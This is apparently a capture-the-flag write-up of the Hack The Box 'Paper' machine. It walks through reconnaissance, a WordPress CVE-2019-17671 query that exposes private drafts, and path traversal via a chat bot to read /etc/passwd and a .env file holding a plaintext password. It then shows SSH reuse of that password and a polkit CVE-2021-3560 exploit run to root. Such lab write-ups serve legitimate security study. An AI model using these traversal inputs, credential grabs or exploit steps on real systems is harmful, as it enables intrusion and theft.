Post

HTB: Paper

Full Writeup for Paper machine from Intro to Red teaming track on HackTheBox

HTB: Paper

Reconnaissance

Port Scanning

We start with a full TCP scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
tr3m0x@ubuntu:~/htb/linux/Paper$ sudo nmap -sC -sV -p- -T4 --min-rate 1000 -O --reason  10.129.55.107 -oN nmap/tcp_scan.nmap 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-31 11:58 CET
Warning: 10.129.55.107 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.55.107
Host is up, received reset ttl 63 (0.13s latency).
Not shown: 65445 closed tcp ports (reset), 87 filtered tcp ports (no-response)
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.26 seconds

3 tcp ports are open.

Web Enumeration

Ports 80 and 443 appear to be pointing to the same web server. I used curl to see the response headers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
tr3m0x@ubuntu:~/htb/linux/Paper$ curl -k  https://10.129.55.107 -I 
HTTP/1.1 403 Forbidden
Date: Mon, 31 Aug 2026 11:30:01 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

tr3m0x@ubuntu:~/htb/linux/Paper$ curl http://10.129.55.107 -I 
HTTP/1.1 403 Forbidden
Date: Mon, 31 Aug 2026 11:30:18 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

The curl on port 80 shows a header X-Backend-Server: office.paper, which indicates that the server is using virtual hosts. I added the domain office.paper to my /etc/hosts file and tried to access it in the browser.

wordpress cms

At the bottom after scrolling, we can see it’s powered by WordPress.
My next step is to enumerate WordPress. I used wpscan for that.

1
2
3
4
5
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04).
 | Found By: Rss Generator (Passive Detection)
 |  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
 |  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>

Exploitation

WordPress CVE-2019-17671

The disclosed WordPress version dates from 2019 and is outdated. Researching vulnerabilities affecting this release led to CVE-2019-17671.

Description: In WordPress before 5.2.4, unauthenticated viewing of certain content is possible because the static query property is mishandled.

Found this PoC, which suggests sending http://office.paper/?static=1&order=asc to get draft and private pages. I tried it in the browser and got the following response.

private page

It appears to be notes for employees with a chat link. I added chat.office.paper to my /etc/hosts file and accessed the link in my browser.

chat

After registering and joining the chat, I found the following general chat room.

chat room

one promising thing in this chat is the recyclops bot.

recyclops

From the chat, we can see that it can list and read files. I opened a conversation with the bot and tried a simple command List.

list

and it actually listed what is in the working directory.

Note: The bot mentions that for security reasons, access is limited to the Sales folder, so what we retrieved is in the Sales folder.

but of course we will test for other folders as well.

My next step is to list the Sales directory.

list sales

The bot listed a file named portfolio.txt. I then used its file-reading command to retrieve the contents.

read portfolio

my next move was trying to read /etc/passwd file to see if the bot can read it.

first try

and we got something interesting. The bot returned ` cat: /home/dwight/sales//etc/passwd: No such file or directory , which means it's trying to read the file from the Sales directory. I tried to read the file using a relative path ../../../../etc/passwd`.

second try

The traversal succeeded and returned /etc/passwd, revealing the user dwight with the home directory /home/dwight. Next, I list the home directory to see what’s in there using the list ../../../../home/dwight command.

home directory

We can see there is a .ssh directory, but it’s empty. One other promising directory is hubot, so I checked it.

hublot

and it has a .env file.

I grabbed that file

1
2
3
4
5
6
7
8
9
10
 <!=====Contents of file ../../../../home/dwight/hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../../../../home/dwight/hubot/.env=====>

Then I tried to SSH using dwight:Queenofblad3s!23.

1
2
3
4
5
6
7
8
9
10
11
tr3m0x@ubuntu:~/htb/linux/Paper$ ssh dwight@office.paper 
The authenticity of host 'office.paper (10.129.55.107)' can't be established.
ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'office.paper' (ED25519) to the list of known hosts.
dwight@office.paper's password: 
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue Feb  1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ 

Privilege Escalation

CVE-2021-3560

After gaining shell access, I spent considerable time on manual enumeration but didn’t find anything useful. I decided to use linpeas to enumerate the system.
I imported it from my attacker machine using scp and executed it. The good news is it highlighted that the target is vulnerable to CVE-2021-3560

Description: It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

To check if this is a false positive, I checked the polkit version.

1
2
[dwight@paper ~]$ rpm -q polkit
polkit-0.115-6.el8.x86_64

This confirms that the target is vulnerable to CVE-2021-3560.

Exploiting CVE-2021-3560

I found this PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[dwight@paper tmp]$ bash poc.sh 
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma  with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password 
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was successful, simply enter 'sudo bash' and drop into a root shell!
[dwight@paper tmp]$ su - secnigma
Password: 
[secnigma@paper ~]$ sudo bash
[sudo] password for secnigma: 
[root@paper secnigma]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper secnigma]# 

And boom, we are root!

Note: If the user was not inserted from the first time retry the execution many times until it works

This post is licensed under CC BY 4.0 by the author.